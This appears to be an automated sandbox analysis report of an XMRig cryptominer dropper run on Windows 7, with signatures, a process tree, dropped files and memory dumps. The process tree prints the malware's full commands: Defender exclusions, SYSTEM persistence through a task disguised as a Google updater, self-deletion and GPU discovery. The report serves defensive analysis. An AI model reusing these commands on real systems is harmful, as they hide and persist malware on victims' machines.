Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    370s
  • max time network
    1790s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1320
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2172
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2624
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2592
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2116
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1908
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:320
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:552
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2648
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2772
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1424
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {00515551-AAAD-4011-84A2-B30A6D938692} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2844
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2832
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          1⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            2⤵
            • Detects videocard installed
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:1464

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 374KB
              • SHA256 57967d4231adbc9e1c6437a4e83875c48db5d082ac485fd1a14fdd05107096b0
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 268KB
              • SHA256 89d597bff824e8a87a52ccedbaf63129ee9aed1723d65eb533f2fc9ed1c4ef57
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 673f7420ea92dc2a16261912fc5ef7035e5887dbcdc1cf9b8edd39a16bb1ac4e
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 422KB
              • SHA256 295ef9f4ec94c067831d169c449c38e346e24881bd32bf88335ab6214e32d258
              • MD5 SHA1 SHA512 SSDEEP

              memory/320-59-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/320-58-0x0000000000F90000-0x0000000001010000-memory.dmp

              memory/320-57-0x0000000000F90000-0x0000000001010000-memory.dmp

              memory/320-56-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/320-55-0x0000000000F90000-0x0000000001010000-memory.dmp

              memory/320-54-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/1424-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-70-0x0000000000830000-0x0000000000850000-memory.dmp

              memory/1424-141-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-110-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-108-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-78-0x00000000005B0000-0x00000000005D0000-memory.dmp

              memory/1424-79-0x0000000000830000-0x0000000000850000-memory.dmp

              memory/1424-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-69-0x00000000005B0000-0x00000000005D0000-memory.dmp

              memory/1424-65-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1424-64-0x00000000002B0000-0x00000000002D0000-memory.dmp

              memory/1988-47-0x0000000001140000-0x00000000011C0000-memory.dmp

              memory/1988-46-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

              memory/1988-51-0x0000000001140000-0x00000000011C0000-memory.dmp

              memory/1988-50-0x0000000001140000-0x00000000011C0000-memory.dmp

              memory/1988-52-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

              memory/1988-49-0x0000000001140000-0x00000000011C0000-memory.dmp

              memory/1988-48-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

              memory/2172-29-0x000000013FE60000-0x0000000140071000-memory.dmp

              memory/2172-0-0x000000013FE60000-0x0000000140071000-memory.dmp

              memory/2572-35-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/2572-44-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/2572-40-0x00000000027D0000-0x0000000002850000-memory.dmp

              memory/2572-39-0x00000000027D0000-0x0000000002850000-memory.dmp

              memory/2572-38-0x00000000027D0000-0x0000000002850000-memory.dmp

              memory/2572-37-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/2572-36-0x00000000027D0000-0x0000000002850000-memory.dmp

              memory/2584-22-0x0000000002260000-0x0000000002268000-memory.dmp

              memory/2584-27-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

              memory/2584-21-0x00000000025B0000-0x0000000002630000-memory.dmp

              memory/2584-23-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

              memory/2584-24-0x00000000025B0000-0x0000000002630000-memory.dmp

              memory/2584-25-0x00000000025B0000-0x0000000002630000-memory.dmp

              memory/2584-19-0x000000001B060000-0x000000001B342000-memory.dmp

              memory/2584-26-0x00000000025B0000-0x0000000002630000-memory.dmp

              memory/2584-20-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

              memory/2672-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

              memory/2672-9-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/2672-8-0x0000000002540000-0x00000000025C0000-memory.dmp

              memory/2672-7-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/2672-10-0x0000000002540000-0x00000000025C0000-memory.dmp

              memory/2672-13-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

              memory/2672-11-0x0000000002540000-0x00000000025C0000-memory.dmp

              memory/2672-12-0x0000000002540000-0x00000000025C0000-memory.dmp

              memory/2672-5-0x000000001B2A0000-0x000000001B582000-memory.dmp

              memory/2772-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2772-80-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2832-63-0x000000013F800000-0x000000013FA11000-memory.dmp

              memory/2832-45-0x000000013F800000-0x000000013FA11000-memory.dmp